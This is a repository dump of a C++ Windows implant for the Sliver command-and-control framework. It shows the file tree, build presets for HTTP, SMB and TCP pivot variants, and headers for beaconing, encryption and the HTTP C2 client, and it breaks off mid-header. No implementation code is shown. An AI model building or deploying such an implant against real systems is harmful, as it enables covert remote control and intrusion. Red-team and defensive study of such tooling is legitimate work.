├── .gitattributes ├── .gitignore ├── CMakeLists.txt ├── CMakePresets.json ├── CMakeSettings.json ├── Include ├── Beacon.h ├── CipherContext.h ├── Client.h ├── Connection.h ├── CryptoUtils.h ├── Handlers.h ├── Handlers_Utils.h ├── MemoryModule.h ├── Os.h ├── PivotConn.h ├── ReadersWriterLock.h ├── Sliver-CPPImplant.h ├── Token.h ├── Utils.h ├── base64_utils.h ├── common.pb.h ├── constants.h ├── encoders.h ├── evasion.h ├── executeAssembly.h ├── extensions.h ├── filesystem.h ├── globals.h ├── listeners.h ├── my_time.h ├── pivots.h ├── processes.h ├── sliver.pb.h ├── taskRunner.h ├── tsmap.h └── tunnels.h ├── README.md ├── compile.bat ├── deploy_compile.bat ├── sign.ps1 └── src ├── Base64.cpp ├── Beacon.cpp ├── CipherContext.cpp ├── CryptoUtils.cpp ├── Encoders.cpp ├── ExecuteAssembly.cpp ├── Handlers_Utils.cpp ├── HttpClient.cpp ├── MemoryModule.cpp ├── NamedPipeClient.cpp ├── NamedPipeConn.cpp ├── NamedPipeListener.cpp ├── Os.cpp ├── Pivots.cpp ├── Sliver-CPPImplant.cpp ├── TCPClient.cpp ├── TCPConn.cpp ├── TCPListener.cpp ├── Token.cpp ├── Utils.cpp ├── common.pb.cc ├── common.proto ├── constants.cpp ├── evasion.cpp ├── execute.cpp ├── extensions.cpp ├── filesystem.cpp ├── globals.cpp ├── pivotHandlers.cpp ├── processes.cpp ├── sliver.pb.cc ├── sliver.proto ├── systemHandlers.cpp └── tunnelHandlers.cpp /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # CMakeList.txt : Top-level CMake project file, do global configuration 2 | # and include sub-projects here. 3 | # 4 | cmake_minimum_required (VERSION 3.15) 5 | 6 | #[[ 7 | get_cmake_property(_variableNames VARIABLES) 8 | list (SORT _variableNames) 9 | foreach (_variableName ${_variableNames}) 10 | message(STATUS "${_variableName}=${${_variableName}}") 11 | endforeach() 12 | ]] 13 | project ("Sliver-CPPImplant2") 14 | set(CMAKE_CXX_STANDARD 20) 15 | 16 | add_compile_definitions("NOMINMAX" "SODIUM_STATIC" "_CRT_SECURE_NO_WARNINGS" "CURL_STATICLIB" "SECURITY_WIN32") 17 | 18 | include_directories(Include) 19 | 20 | ###protobuf 21 | find_package(Protobuf REQUIRED) 22 | include_directories(${Protobuf_INCLUDE_DIRS}) 23 | protobuf_generate_cpp(PROTO_SRCS PROTO_HDRS src/common.proto) 24 | protobuf_generate_cpp(PROTO_SRCS PROTO_HDRS src/sliver.proto) 25 | 26 | ###libsodium 27 | find_library( 28 | LIBSODIUM 29 | libsodium.lib 30 | REQUIRED) 31 | 32 | ### cpr 33 | find_package(cpr REQUIRED) 34 | 35 | ### botan 36 | find_library(BOTAN botan.lib REQUIRED) 37 | 38 | if($ENV{BUILD_DLL}) 39 | add_library (Sliver-CPPImplant2 SHARED "src/Sliver-CPPImplant.cpp" src/common.pb.cc src/sliver.pb.cc "src/CryptoUtils.cpp" "src/constants.cpp" "src/Base64.cpp" "src/Encoders.cpp" "src/CipherContext.cpp" "src/Beacon.cpp" "src/HttpClient.cpp" "src/evasion.cpp" "src/execute.cpp" "src/ExecuteAssembly.cpp" "src/extensions.cpp" "src/globals.cpp" "src/Handlers_Utils.cpp" "src/MemoryModule.cpp" "src/NamedPipeClient.cpp" "src/NamedPipeConn.cpp" "src/NamedPipeListener.cpp" "src/Os.cpp" "src/systemHandlers.cpp" "src/TCPClient.cpp" "src/TCPConn.cpp" "src/TCPListener.cpp" "src/Token.cpp" "src/filesystem.cpp" "src/pivotHandlers.cpp" "src/Pivots.cpp" "src/Sliver-CPPImplant.cpp" "Include/Utils.h" "src/Utils.cpp" "Include/processes.h" "src/processes.cpp" ) 40 | else() 41 | add_executable (Sliver-CPPImplant2 "src/Sliver-CPPImplant.cpp" src/common.pb.cc src/sliver.pb.cc "src/CryptoUtils.cpp" "src/constants.cpp" "src/Base64.cpp" "src/Encoders.cpp" "src/CipherContext.cpp" "src/Beacon.cpp" "src/HttpClient.cpp" "src/evasion.cpp" "src/execute.cpp" "src/ExecuteAssembly.cpp" "src/extensions.cpp" "src/globals.cpp" "src/Handlers_Utils.cpp" "src/MemoryModule.cpp" "src/NamedPipeClient.cpp" "src/NamedPipeConn.cpp" "src/NamedPipeListener.cpp" "src/Os.cpp" "src/systemHandlers.cpp" "src/TCPClient.cpp" "src/TCPConn.cpp" "src/TCPListener.cpp" "src/Token.cpp" "src/filesystem.cpp" "src/pivotHandlers.cpp" "src/Pivots.cpp" "src/Sliver-CPPImplant.cpp" "Include/Utils.h" "src/Utils.cpp" "Include/processes.h" "src/processes.cpp" ) 42 | endif() 43 | set_property(TARGET Sliver-CPPImplant2 PROPERTY 44 | MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Debug>") 45 | 46 | target_link_libraries(Sliver-CPPImplant2 ${Protobuf_LIBRARIES} ${LIBSODIUM} ${BOTAN} cpr::cpr Ws2_32.lib Wldap32.lib Normaliz.lib Crypt32.lib Secur32.lib Ntdll.dll netapi32.lib) 47 | 48 | # Include sub-projects. 49 | 50 | -------------------------------------------------------------------------------- /CMakePresets.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 3, 3 | "configurePresets": [ 4 | { 5 | "name": "windows-base", 6 | "description": "TemplateDescription_Localize_PresetsWindows", 7 | "hidden": true, 8 | "generator": "Ninja", 9 | "binaryDir": "${sourceDir}/out/build/${presetName}", 10 | "installDir": "${sourceDir}/out/install/${presetName}", 11 | "cacheVariables": { 12 | "CMAKE_C_COMPILER": "cl.exe", 13 | "CMAKE_CXX_COMPILER": "cl.exe" 14 | }, 15 | "condition": { 16 | "type": "equals", 17 | "lhs": "${hostSystemName}", 18 | "rhs": "Windows" 19 | } 20 | }, 21 | { 22 | "name": "x64-release", 23 | "displayName": "x64 Release", 24 | "description": "TemplateDescription_Localize_x64Debug", 25 | "inherits": "windows-base", 26 | "architecture": { 27 | "value": "x64", 28 | "strategy": "external" 29 | }, 30 | "cacheVariables": { 31 | "CMAKE_BUILD_TYPE": "MinSizeRel", 32 | "CMAKE_INSTALL_PREFIX": "${sourceDir}/out/install/${presetName}", 33 | "CMAKE_TOOLCHAIN_FILE": { 34 | "type": "FILEPATH", 35 | "value": "C:/vcpkg/vcpkg/scripts/buildsystems/vcpkg.cmake" 36 | }, 37 | "VCPKG_TARGET_TRIPLET": "x64-windows-static", 38 | "VCPKG_INSTALLED_DIR": "C:/vcpkg/vcpkg_installed" 39 | } 40 | }, 41 | { 42 | "name": "x64-release-dll", 43 | "displayName": "x64 Release", 44 | "description": "TemplateDescription_Localize_x64Debug", 45 | "inherits": "windows-base", 46 | "architecture": { 47 | "value": "x64", 48 | "strategy": "external" 49 | }, 50 | "cacheVariables": { 51 | "CMAKE_BUILD_TYPE": "Release", 52 | "CMAKE_INSTALL_PREFIX": "${sourceDir}/out/install/${presetName}", 53 | "CMAKE_TOOLCHAIN_FILE": { 54 | "type": "FILEPATH", 55 | "value": "C:/vcpkg/vcpkg/scripts/buildsystems/vcpkg.cmake" 56 | }, 57 | "VCPKG_TARGET_TRIPLET": "x64-windows-static", 58 | "VCPKG_INSTALLED_DIR": "C:/vcpkg/vcpkg_installed" 59 | }, 60 | "environment": { 61 | "BUILD_DLL": "1" 62 | } 63 | }, 64 | { 65 | "name": "x64-debug", 66 | "displayName": "x64 Debug", 67 | "description": "TemplateDescription_Localize_x64Debug", 68 | "inherits": "windows-base", 69 | "architecture": { 70 | "value": "x64", 71 | "strategy": "external" 72 | }, 73 | "cacheVariables": { 74 | "CMAKE_BUILD_TYPE": "Debug", 75 | "CMAKE_INSTALL_PREFIX": "${sourceDir}/out/install/${presetName}", 76 | "CMAKE_TOOLCHAIN_FILE": { 77 | "type": "FILEPATH", 78 | "value": "C:/vcpkg/vcpkg/scripts/buildsystems/vcpkg.cmake" 79 | }, 80 | "VCPKG_TARGET_TRIPLET": "x64-windows-static", 81 | "VCPKG_INSTALLED_DIR": "C:/vcpkg/vcpkg_installed" 82 | } 83 | }, 84 | { 85 | "name": "x64-debug-dll", 86 | "displayName": "x64 Debug", 87 | "description": "TemplateDescription_Localize_x64Debug", 88 | "inherits": "windows-base", 89 | "architecture": { 90 | "value": "x64", 91 | "strategy": "external" 92 | }, 93 | "cacheVariables": { 94 | "CMAKE_BUILD_TYPE": "Debug", 95 | "CMAKE_INSTALL_PREFIX": "${sourceDir}/out/install/${presetName}", 96 | "CMAKE_TOOLCHAIN_FILE": { 97 | "type": "FILEPATH", 98 | "value": "C:/vcpkg/vcpkg/scripts/buildsystems/vcpkg.cmake" 99 | }, 100 | "VCPKG_TARGET_TRIPLET": "x64-windows-static", 101 | "VCPKG_INSTALLED_DIR": "C:/vcpkg/vcpkg_installed" 102 | }, 103 | "environment": { 104 | "BUILD_DLL": "1" 105 | } 106 | }, 107 | { 108 | "name": "x64-release-pivot-smb", 109 | "displayName": "x64 Release", 110 | "description": "TemplateDescription_Localize_x64Release", 111 | "inherits": "x64-release", 112 | "cacheVariables": { 113 | "CMAKE_CXX_FLAGS": "-DPIVOT -DSMBPIVOT -DEXE /EHsc" 114 | } 115 | }, 116 | { 117 | "name": "x64-release-pivot-smb-dll", 118 | "displayName": "x64 Release", 119 | "description": "TemplateDescription_Localize_x64Release", 120 | "inherits": "x64-release-dll", 121 | "cacheVariables": { 122 | "CMAKE_CXX_FLAGS": "-DPIVOT -DSMBPIVOT -DEXE /EHsc" 123 | } 124 | }, 125 | { 126 | "name": "x64-debug-pivot-smb", 127 | "displayName": "x64 Debug", 128 | "description": "TemplateDescription_Localize_x64Release", 129 | "inherits": "x64-debug", 130 | "cacheVariables": { 131 | "CMAKE_CXX_FLAGS": "-DPIVOT -DSMBPIVOT -DDEBUG -DEXE /EHsc" 132 | } 133 | }, 134 | { 135 | "name": "x64-release-pivot-tcp", 136 | "displayName": "x64 Release", 137 | "description": "TemplateDescription_Localize_x64Release", 138 | "inherits": "x64-release", 139 | "cacheVariables": { 140 | "CMAKE_CXX_FLAGS": "-DPIVOT -DTCPPIVOT -DEXE /EHsc" 141 | } 142 | }, 143 | { 144 | "name": "x64-release-pivot-tcp-dll", 145 | "displayName": "x64 Release", 146 | "description": "TemplateDescription_Localize_x64Release", 147 | "inherits": "x64-release-dll", 148 | "cacheVariables": { 149 | "CMAKE_CXX_FLAGS": "-DPIVOT -DTCPPIVOT -DEXE /EHsc" 150 | } 151 | }, 152 | { 153 | "name": "x64-debug-pivot-tcp", 154 | "displayName": "x64 Debug", 155 | "description": "TemplateDescription_Localize_x64Release", 156 | "inherits": "x64-debug", 157 | "cacheVariables": { 158 | "CMAKE_CXX_FLAGS": "-DPIVOT -DTCPPIVOT -DDEBUG -DEXE /EHsc" 159 | } 160 | }, 161 | { 162 | "name": "x64-release-http", 163 | "displayName": "x64 Release", 164 | "description": "TemplateDescription_Localize_x64Release", 165 | "inherits": "x64-release", 166 | "cacheVariables": { 167 | "CMAKE_CXX_FLAGS": "-DHTTP -DEXE /EHsc" 168 | } 169 | }, 170 | { 171 | "name": "x64-debug-http", 172 | "displayName": "x64 Debug", 173 | "description": "TemplateDescription_Localize_x64Release", 174 | "inherits": "x64-debug", 175 | "cacheVariables": { 176 | "CMAKE_CXX_FLAGS": "-DHTTP -DDEBUG -DEXE /EHsc" 177 | } 178 | }, 179 | { 180 | "name": "x64-release-http-dll", 181 | "displayName": "x64 Release", 182 | "description": "TemplateDescription_Localize_x64Release", 183 | "inherits": "x64-release-dll", 184 | "cacheVariables": { 185 | "CMAKE_CXX_FLAGS": "-DHTTP -DSHARED /EHsc" 186 | } 187 | }, 188 | { 189 | "name": "x64-debug-http-dll", 190 | "displayName": "x64 Debug", 191 | "description": "TemplateDescription_Localize_x64Release", 192 | "inherits": "x64-debug-dll", 193 | "cacheVariables": { 194 | "CMAKE_CXX_FLAGS": "-DHTTP -DDEBUG -DSHARED /EHsc" 195 | } 196 | } 197 | ], 198 | "buildPresets": [ 199 | { 200 | "name": "x64-windows-release-pivot-smb", 201 | "configurePreset": "x64-release-pivot-smb", 202 | "displayName": "aaa", 203 | "description": "descsr" 204 | }, 205 | { 206 | "name": "x64-windows-release-pivot-smb-dll", 207 | "configurePreset": "x64-release-pivot-smb-dll", 208 | "displayName": "aaa", 209 | "description": "descsr" 210 | }, 211 | { 212 | "name": "x64-windows-debug-pivot-smb", 213 | "configurePreset": "x64-debug-pivot-smb", 214 | "displayName": "aaa", 215 | "description": "descsr" 216 | }, 217 | { 218 | "name": "x64-windows-release-pivot-tcp", 219 | "configurePreset": "x64-release-pivot-tcp", 220 | "displayName": "aaa", 221 | "description": "descsr" 222 | }, 223 | { 224 | "name": "x64-windows-release-pivot-tcp-dll", 225 | "configurePreset": "x64-release-pivot-tcp-dll", 226 | "displayName": "aaa", 227 | "description": "descsr" 228 | }, 229 | { 230 | "name": "x64-windows-debug-pivot-tcp", 231 | "configurePreset": "x64-debug-pivot-tcp", 232 | "displayName": "aaa", 233 | "description": "descsr" 234 | }, 235 | { 236 | "name": "x64-windows-release-http", 237 | "configurePreset": "x64-release-http", 238 | "displayName": "aaa", 239 | "description": "descsr" 240 | }, 241 | { 242 | "name": "x64-windows-debug-http", 243 | "configurePreset": "x64-debug-http", 244 | "displayName": "aaa", 245 | "description": "descsr" 246 | }, 247 | { 248 | "name": "x64-windows-debug-http-dll", 249 | "configurePreset": "x64-debug-http-dll", 250 | "displayName": "aaa", 251 | "description": "descsr" 252 | }, 253 | { 254 | "name": "x64-windows-release-http-dll", 255 | "configurePreset": "x64-release-http-dll", 256 | "displayName": "aaa", 257 | "description": "descsr" 258 | } 259 | ] 260 | } -------------------------------------------------------------------------------- /CMakeSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "configurations": [ 3 | { 4 | "name": "x64-Debug", 5 | "generator": "Ninja", 6 | "configurationType": "Debug", 7 | "inheritEnvironments": [ "msvc_x64_x64" ], 8 | "buildRoot": "${projectDir}\\out\\build\\${name}", 9 | "installRoot": "${projectDir}\\out\\install\\${name}", 10 | "cmakeCommandArgs": "", 11 | "buildCommandArgs": "", 12 | "ctestCommandArgs": "", 13 | "variables": [ 14 | { 15 | "name": "VCPKG_TARGET_TRIPLET", 16 | "value": "x64-windows-static", 17 | "type": "STRING" 18 | }, 19 | { 20 | "name": "CMAKE_TOOLCHAIN_FILE", 21 | "value": "C:\\vcpkg\\vcpkg\\scripts\\buildsystems\\vcpkg.cmake" 22 | } 23 | ] 24 | }, 25 | { 26 | "name": "x64-Release", 27 | "generator": "Ninja", 28 | "configurationType": "Release", 29 | "inheritEnvironments": [ "msvc_x64_x64" ], 30 | "buildRoot": "${projectDir}\\out\\build\\${name}", 31 | "installRoot": "${projectDir}\\out\\install\\${name}", 32 | "cmakeCommandArgs": "", 33 | "buildCommandArgs": "", 34 | "ctestCommandArgs": "", 35 | "variables": [ 36 | { 37 | "name": "VCPKG_TARGET_TRIPLET", 38 | "value": "x64-windows-static", 39 | "type": "STRING" 40 | }, 41 | { 42 | "name": "CMAKE_TOOLCHAIN_FILE", 43 | "value": "C:\\vcpkg\\vcpkg\\scripts\\buildsystems\\vcpkg.cmake" 44 | } 45 | ] 46 | } 47 | ] 48 | } -------------------------------------------------------------------------------- /Include/Beacon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "Client.h" 4 | #include 5 | #include "concurrent_queue.h" 6 | using namespace std; 7 | 8 | namespace transports { 9 | 10 | class Beacon { 11 | public: 12 | Beacon(const string&, unique_ptr&,const string& = "", int interval = 5, int jitter = 1, int reconnectInterval = 30); 13 | bool BeaconInit(); 14 | void BeaconStart(); 15 | bool BeaconSend(sliverpb::Envelope&); 16 | unique_ptr BeaconRecv(); 17 | bool BeaconRecv(const sliverpb::Envelope&, sliverpb::Envelope&); 18 | //void BeaconClose(); 19 | //void BeaconCleanup(); 20 | std::chrono::seconds Duration(); 21 | std::chrono::seconds GetInterval(); 22 | std::chrono::seconds GetJitter(); 23 | std::chrono::seconds GetReconnectInterval(); 24 | bool Reconfigure(int64_t interval, int64_t jitter, int64_t reconnectInterval); 25 | int GetConnectionErrors(); 26 | void SetConnectionErrors(int); 27 | std::chrono::duration reconnectInterval; 28 | std::chrono::duration jitter; 29 | std::chrono::duration interval; 30 | int connectionErrors = 0; 31 | string activeC2; 32 | string proxyURL; 33 | std::mutex m; 34 | std::unique_ptr client; 35 | shared_ptr> pivotEnvelope_queue; 36 | }; 37 | } -------------------------------------------------------------------------------- /Include/CipherContext.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "tsmap.h" 4 | 5 | using namespace std; 6 | 7 | namespace crypto { 8 | class CipherContext { 9 | public: 10 | CipherContext(); 11 | CipherContext(unsigned char key[crypto_aead_chacha20poly1305_IETF_KEYBYTES]); 12 | void GenerateKey(); 13 | bool SetKey(const string&); 14 | string Encrypt(const string&); 15 | string Decrypt(const string&); 16 | private: 17 | unsigned char key[crypto_aead_chacha20poly1305_IETF_KEYBYTES]; 18 | unique_ptr> replay; 19 | }; 20 | } -------------------------------------------------------------------------------- /Include/Client.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "sliver.pb.h" 4 | #include 5 | #include "CipherContext.h" 6 | #include 7 | #include 8 | 9 | using namespace std; 10 | namespace transports{ 11 | 12 | class IClient { 13 | public: 14 | IClient(); 15 | virtual bool SessionInit() = 0; 16 | virtual bool WriteEnvelope(sliverpb::Envelope&) = 0; 17 | virtual bool WriteAndReceive(const sliverpb::Envelope&, sliverpb::Envelope&) = 0; 18 | virtual bool WriteEnvelopeNoResp(sliverpb::Envelope&) = 0; 19 | virtual unique_ptr ReadEnvelope() = 0; 20 | }; 21 | #ifdef HTTP 22 | class HttpClient : public IClient{ 23 | public: 24 | HttpClient(string base_URI, unsigned long long netTimeout, unsigned long long tlsTimeout, unsigned long long pollTimeout, string proxyHost = "", int proxyPort = 0, string proxyUsername = "", string proxyPassword = "", string hostHeader = ""); 25 | bool SessionInit() override; 26 | bool WriteEnvelope(sliverpb::Envelope&) override; 27 | bool WriteEnvelopeNoResp(sliverpb::Envelope&) override; 28 | bool WriteAndReceive(const sliverpb::Envelope&,sliverpb::Envelope&) override; 29 | string SessionURL(); 30 | string PollURL(); 31 | string StartSessionURL(); 32 | std::vector RandomPath(std::vector&, std::vector&, string); 33 | unique_ptr ReadEnvelope() override; 34 | 35 | std::chrono::system_clock::duration timeDelta; 36 | string sessionID; 37 | string base_URI; 38 | string origin; 39 | string pathPrefix; 40 | string proxyUrl; 41 | crypto::CipherContext context; 42 | unsigned long long netTimeout; 43 | unsigned long long tlsTimeout; 44 | unsigned long long pollTimeout; 45 | int maxErrors; 46 | bool forceHTTP; 47 | string hostHeader; 48 | string proxyConfig; 49 | string proxyUsername; 50 | string proxyPassword; 51 | bool askProxyCreds; 52 | bool closed; 53 | private: 54 | unique_ptr session; 55 | mutex pollMutex; 56 | }; 57 | 58 | #endif 59 | #if defined(PIVOT) && defined(SMBPIVOT) 60 